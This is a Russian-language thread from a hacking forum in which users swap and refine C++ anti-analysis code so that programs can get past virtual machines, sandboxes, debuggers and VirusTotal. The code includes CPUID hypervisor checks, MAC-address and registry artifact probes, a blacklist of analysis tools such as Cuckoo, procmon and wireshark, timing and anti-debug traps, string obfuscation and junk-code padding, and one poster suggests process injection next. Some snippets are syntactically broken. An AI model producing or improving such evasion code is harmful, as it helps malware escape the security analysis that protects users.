• XSS.stack #1 – первый литературный журнал от юзеров форума

Оцените обход вм

JOHR

HDD-drive
Пользователь
Регистрация
20.10.2024
Сообщения
44
Реакции
2
Есть такой простой обход вм, что можно
C++:
#include <windows.h>
#include <tlhelp32.h>
#include <string>
#include <tchar.h>


bool IsSandbox() {
    DWORD uptime = GetTickCount();
    if (uptime < 2 * 60 * 1000) {
        return true;
    }
    return false;
}
bool IsLowSpecMachine() {
    MEMORYSTATUSEX memInfo;
    memInfo.dwLength = sizeof(memInfo);
    GlobalMemoryStatusEx(&memInfo);

    if (memInfo.ullTotalPhys < (4ULL * 1024 * 1024 * 1024)) { // меньше 4 ГБ ОЗУ
        return true;
    }

    SYSTEM_INFO sysInfo;
    GetSystemInfo(&sysInfo);
    if (sysInfo.dwNumberOfProcessors < 2) { // меньше 2 ядер
        return true;
    }

    return false;
}
bool IsDebugged() {
    if (IsDebuggerPresent()) {
        return true;
    }

    BOOL isDebugged = FALSE;
    CheckRemoteDebuggerPresent(GetCurrentProcess(), &isDebugged);
    return isDebugged;
}
bool IsVM() {
    const TCHAR* suspiciousProcesses[] = {
        _T("vmtoolsd.exe"),
        _T("vmware.exe"),
        _T("vboxservice.exe"),
        _T("wireshark.exe")
    };

    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 pe32;
    pe32.dwSize = sizeof(PROCESSENTRY32);

    if (Process32First(hSnapshot, &pe32)) {
        do {
            for (const TCHAR* proc : suspiciousProcesses) {
                if (_tcsicmp(pe32.szExeFile, proc) == 0) {
                    CloseHandle(hSnapshot);
                    return true;
                }
            }
        } while (Process32Next(hSnapshot, &pe32));
    }

    CloseHandle(hSnapshot);
    return false;
}
bool IsRealUserPresent() {
    POINT p1, p2;
    GetCursorPos(&p1);
    Sleep(5000); // ждем 5 секунд
    GetCursorPos(&p2);

    // Если мышь не двигалась, возможно, это песочница
    return (p1.x != p2.x || p1.y != p2.y);
}
int main() {
    if (IsSandbox()) {
        ExitProcess(0);
    }
    if (IsLowSpecMachine()) {
        ExitProcess(0);
    }
    if (IsDebugged()) {
        ExitProcess(0);
    }
    if (IsVM()) {
        ExitProcess(0);
    }
    if (!IsRealUserPresent()) {
        ExitProcess(0);
    }
    Sleep(5 * 60 * 1000);
  
    return 0;
}
исправить/улучшить?
 
Привет, лучше вот такой код



C++:
#include <windows.h>
#include <tlhelp32.h>
#include <intrin.h>
#include <wmicommon.h>
#include <vector>
#include <random>
#include <chrono>

#define OBFUSCATE(str) [](){constexpr auto s=cryptor::create(str);return s.decrypt();}()

[[noreturn]] void AntiDebugTrap() {
    __try { DebugBreak(); }
    __except (EXCEPTION_EXECUTE_HANDLER) { ExitProcess(0xDEAD); }
    TerminateProcess(GetCurrentProcess(), 0xDEAD);
}

bool IsVM() {
    int cpuInfo[4]{};
    __cpuid(cpuInfo, 1);
    if (cpuInfo[2] & (1 << 31)) return true;
    
    __cpuid(cpuInfo, 0x40000000);
    return (cpuInfo[0] == 0x7263694D || cpuInfo[0] == 0x6D736F48);
}

bool IsDebugged() {
    auto start = std::chrono::high_resolution_clock::now();
    volatile int dummy = 0;
    for (int i=0; i<1000000; ++i) dummy += i;
    auto duration = std::chrono::high_resolution_clock::now() - start;
    if (duration > std::chrono::milliseconds(10)) return true;

    using pNtQIP = NTSTATUS(NTAPI*)(HANDLE, ULONG, PVOID, ULONG, PULONG);
    auto NtQIP = (pNtQIP)GetProcAddress(GetModuleHandleA(OBFUSCATE("ntdll.dll")), OBFUSCATE("NtQueryInformationProcess"));
    DWORD debugPort = 0;
    return (NtQIP(GetCurrentProcess(), 7, &debugPort, sizeof(debugPort), debugPort != 0);
}

bool IsSandbox() {
    PIP_ADAPTER_INFO adapterInfo = new IP_ADAPTER_INFO();
    ULONG bufLen = sizeof(IP_ADAPTER_INFO);
    if (GetAdaptersInfo(adapterInfo, &bufLen)) {
        delete adapterInfo;
        adapterInfo = (IP_ADAPTER_INFO*)new BYTE[bufLen];
    }
    if (GetAdaptersInfo(adapterInfo, &bufLen) == NO_ERROR) {
        for (; adapterInfo; adapterInfo = adapterInfo->Next) {
            if (memcmp(adapterInfo->Address, "\x00\x05\x69", 3) == 0) return true;
        }
    }
    return false;
}

bool IsUserActive() {
    LASTINPUTINFO lii{sizeof(LASTINPUTINFO)};
    GetLastInputInfo(&lii);
    return ((GetTickCount() - lii.dwTime) < 120000);
}

void AntiAnalysis() {
    if (FindWindowA(OBFUSCATE("OLLYDBG"), NULL) || FindWindowA(OBFUSCATE("WinDbgFrameClass"), NULL)) ExitProcess(0);
    if (IsDebuggerPresent()) AntiDebugTrap();
}

int main() {
    AntiAnalysis();
    std::vector<bool(*)()> checks = {IsVM, IsDebugged, IsSandbox, [](){ return !IsUserActive(); }};
    std::shuffle(checks.begin(), checks.end(), std::mt19937(std::random_device()()));
    
    for (auto& check : checks) {
        if (check()) {
            (GetTickCount64() % 2) ? TerminateProcess(GetCurrentProcess(), STATUS_ACCESS_VIOLATION) : ExitProcess(0);
        }
    }
    
    MessageBoxA(NULL, OBFUSCATE("Safe Environment!"), OBFUSCATE("Status"), MB_OK);
    return 0;
}
Добавил лучше проверку и больше методов
 
как считаешь, этого будет достаточно для обхода вт? Или можно добавить ключевые процессоры которые они юзают? Или что можно добавить
Привет, лучше вот такой код



C++:
#include <windows.h>
#include <tlhelp32.h>
#include <intrin.h>
#include <wmicommon.h>
#include <vector>
#include <random>
#include <chrono>

#define OBFUSCATE(str) [](){constexpr auto s=cryptor::create(str);return s.decrypt();}()

[[noreturn]] void AntiDebugTrap() {
    __try { DebugBreak(); }
    __except (EXCEPTION_EXECUTE_HANDLER) { ExitProcess(0xDEAD); }
    TerminateProcess(GetCurrentProcess(), 0xDEAD);
}

bool IsVM() {
    int cpuInfo[4]{};
    __cpuid(cpuInfo, 1);
    if (cpuInfo[2] & (1 << 31)) return true;
   
    __cpuid(cpuInfo, 0x40000000);
    return (cpuInfo[0] == 0x7263694D || cpuInfo[0] == 0x6D736F48);
}

bool IsDebugged() {
    auto start = std::chrono::high_resolution_clock::now();
    volatile int dummy = 0;
    for (int i=0; i<1000000; ++i) dummy += i;
    auto duration = std::chrono::high_resolution_clock::now() - start;
    if (duration > std::chrono::milliseconds(10)) return true;

    using pNtQIP = NTSTATUS(NTAPI*)(HANDLE, ULONG, PVOID, ULONG, PULONG);
    auto NtQIP = (pNtQIP)GetProcAddress(GetModuleHandleA(OBFUSCATE("ntdll.dll")), OBFUSCATE("NtQueryInformationProcess"));
    DWORD debugPort = 0;
    return (NtQIP(GetCurrentProcess(), 7, &debugPort, sizeof(debugPort), debugPort != 0);
}

bool IsSandbox() {
    PIP_ADAPTER_INFO adapterInfo = new IP_ADAPTER_INFO();
    ULONG bufLen = sizeof(IP_ADAPTER_INFO);
    if (GetAdaptersInfo(adapterInfo, &bufLen)) {
        delete adapterInfo;
        adapterInfo = (IP_ADAPTER_INFO*)new BYTE[bufLen];
    }
    if (GetAdaptersInfo(adapterInfo, &bufLen) == NO_ERROR) {
        for (; adapterInfo; adapterInfo = adapterInfo->Next) {
            if (memcmp(adapterInfo->Address, "\x00\x05\x69", 3) == 0) return true;
        }
    }
    return false;
}

bool IsUserActive() {
    LASTINPUTINFO lii{sizeof(LASTINPUTINFO)};
    GetLastInputInfo(&lii);
    return ((GetTickCount() - lii.dwTime) < 120000);
}

void AntiAnalysis() {
    if (FindWindowA(OBFUSCATE("OLLYDBG"), NULL) || FindWindowA(OBFUSCATE("WinDbgFrameClass"), NULL)) ExitProcess(0);
    if (IsDebuggerPresent()) AntiDebugTrap();
}

int main() {
    AntiAnalysis();
    std::vector<bool(*)()> checks = {IsVM, IsDebugged, IsSandbox, [](){ return !IsUserActive(); }};
    std::shuffle(checks.begin(), checks.end(), std::mt19937(std::random_device()()));
   
    for (auto& check : checks) {
        if (check()) {
            (GetTickCount64() % 2) ? TerminateProcess(GetCurrentProcess(), STATUS_ACCESS_VIOLATION) : ExitProcess(0);
        }
    }
   
    MessageBoxA(NULL, OBFUSCATE("Safe Environment!"), OBFUSCATE("Status"), MB_OK);
    return 0;
}
Добавил лучше проверку и больше методов
 
как считаешь, этого будет достаточно для обхода вт? Или можно добавить ключевые процессоры которые они юзают? Или что можно добавить
ну во первых
Детектим процессы ВМ/сандбоксов
bool check_procs() {
const char* targets[] = { "vmtoolsd.exe", "xenservice.exe", "cuckoo", "procmon", "wireshark", "fakenet" }; // кидай сюда все подозрительные экзешники
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe = { sizeof(pe) };
if (Process32First(snap, &pe)) {
do {
for (auto& p : targets) {
if (StrStrIA(pe.szExeFile, p)) { // тупо ищем совпадения
CloseHandle(snap);
return true; // если нашли — сливаемся
}
}
} while (Process32Next(snap, &pe));
}
CloseHandle(snap);
return false;
}
(словари реально помогают, как бы тупо не казалось0 В сандбоксах типа Cuckoo всегда крутятся свои процессы

Детект CPU
bool is_hypervisor() {
int regs[4];
__cpuid(regs, 1);
if (regs[2] & (1 << 31)) return true; // Hypervisor bit

__cpuid(regs, 0x40000000); // VMware magic
return (regs[0] == 0x4000006C || regs[0] == 0x4D566572); // "VMware" или "KVM"
}
ВМ хостят через гипервизор, а у них специфичные сигнатуры в CPUID. QEMU, VMware, VirtualBox


так же время сна"
bool time_cheat() {
DWORD t1 = GetTickCount();
Sleep(1000); // ждем 1 сек
DWORD delta = GetTickCount() - t1;
return (delta < 900); // если прошло меньше — нас эмулируют
}

MAC-адрес

bool check_mac() {
PIP_ADAPTER_INFO info = new IP_ADAPTER_INFO;
ULONG size = sizeof(IP_ADAPTER_INFO);
if (GetAdaptersInfo(info, &size) == ERROR_BUFFER_OVERFLOW) {
delete info;
info = (IP_ADAPTER_INFO*)new BYTE[size];
}
GetAdaptersInfo(info, &size);
while (info) {
if (memcmp(info->Address, "\x00\x0C\x29", 3) == 0) return true; // VMware OUI
info = info->Next;
}
return false;
}



Антидебаг

void anti_debug() {
if (IsDebuggerPresent()) ExitProcess(666);
__try {
__asm { int 3 } // кидаем исключение
} __except (EXCEPTION_EXECUTE_HANDLER) {
ExitProcess(666);
}
// Проверяем через NtQueryInformationProcess (DebugPort)
auto NtQIP = GetProcAddress(GetModuleHandleA("ntdll"), "NtQueryInformationProcess");
DWORD debugPort;
if (((NTSTATUS(__stdcall*)(HANDLE, DWORD, PVOID, ULONG, PULONG))NtQIP)
(GetCurrentProcess(), 7, &debugPort, 4, 0) >= 0 && debugPort)
ExitProcess(0);
}

сандбоксов пытаются дебажить процесс. Ловим их на классике: int 3, IsDebuggerPresent, NtQIP




Проверка реестра

В реестре ВМ всегда есть уникальные ключи. Ищи VBOX, VMware, Xen — это 100% детек
bool check_reg_artifacts() {
HKEY hKey;
if (RegOpenKeyExA(HKEY_LOCAL_MACHINE, "HARDWARE\\ACPI\\DSDT\\VBOX__", 0, KEY_READ, &hKey) == ERROR_SUCCESS) {
RegCloseKey(hKey);
return true; // VirtualBox
}
// VMware: "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\vmdebug"
return false;
}



Полиморфизм

void garbage_code() {
__asm {
nop
xor eax, eax
jmp $+2
push edx
pop edx
}
}

9самый простой пример этого ну чтобы ты поняла


попробйу еще инжект в процессы их
 
Пожалуйста, обратите внимание, что пользователь заблокирован
как считаешь, этого будет достаточно для обхода вт? Или можно добавить ключевые процессоры которые они юзают? Или что можно добавить
можно семпл какого-то паблика затестить на ВТ с разными способами обходов и выявить для себя рабочий вариант типо
 
Если это обычная ВМ, то сойдёт, а если Кукушка или что-то типа AnyRun, то там много чего похучено + драйвера показывают тебе совсем другие показатели.
Что например там похучее?
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх